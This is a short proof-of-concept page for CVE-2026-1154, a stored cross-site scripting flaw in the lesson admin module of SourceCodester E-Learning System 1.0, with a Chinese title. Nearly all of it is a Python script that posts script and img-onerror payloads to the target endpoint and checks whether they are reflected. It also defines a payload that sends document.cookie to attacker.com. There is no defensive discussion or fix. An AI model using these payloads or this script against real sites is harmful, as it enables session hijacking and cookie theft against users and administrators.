CVE-2026-1154 SourceCodester E-Learning System 1.0 跨站脚本漏洞

# CVE-2026-1154 PoC - SourceCodester E-Learning System XSS # Target: /admin/modules/lesson/index.php # Payload: Stored XSS in Title/Description field import requests import sys from urllib.parse import quote target_url = "http://target.com/admin/modules/lesson/index.php" # XSS payload - steals cookies xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" # Simple alert payload for testing alert_payload = "<script>alert('XSS CVE-2026-1154')</script>" def test_xss(): """Test for XSS vulnerability in lesson module""" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0' } # Payload data for lesson creation/edit data = { 'title': alert_payload, 'description': '<img src=x onerror="alert(document.domain)">', 'save': '1' } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {alert_payload}") print(f"[*] Status: {response.status_code}") # Check if payload is reflected in response if alert_payload in response.text: print("[+] XSS vulnerability confirmed!") print("[+] Payload stored and reflected in response") else: print("[-] Payload not found in response") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": test_xss()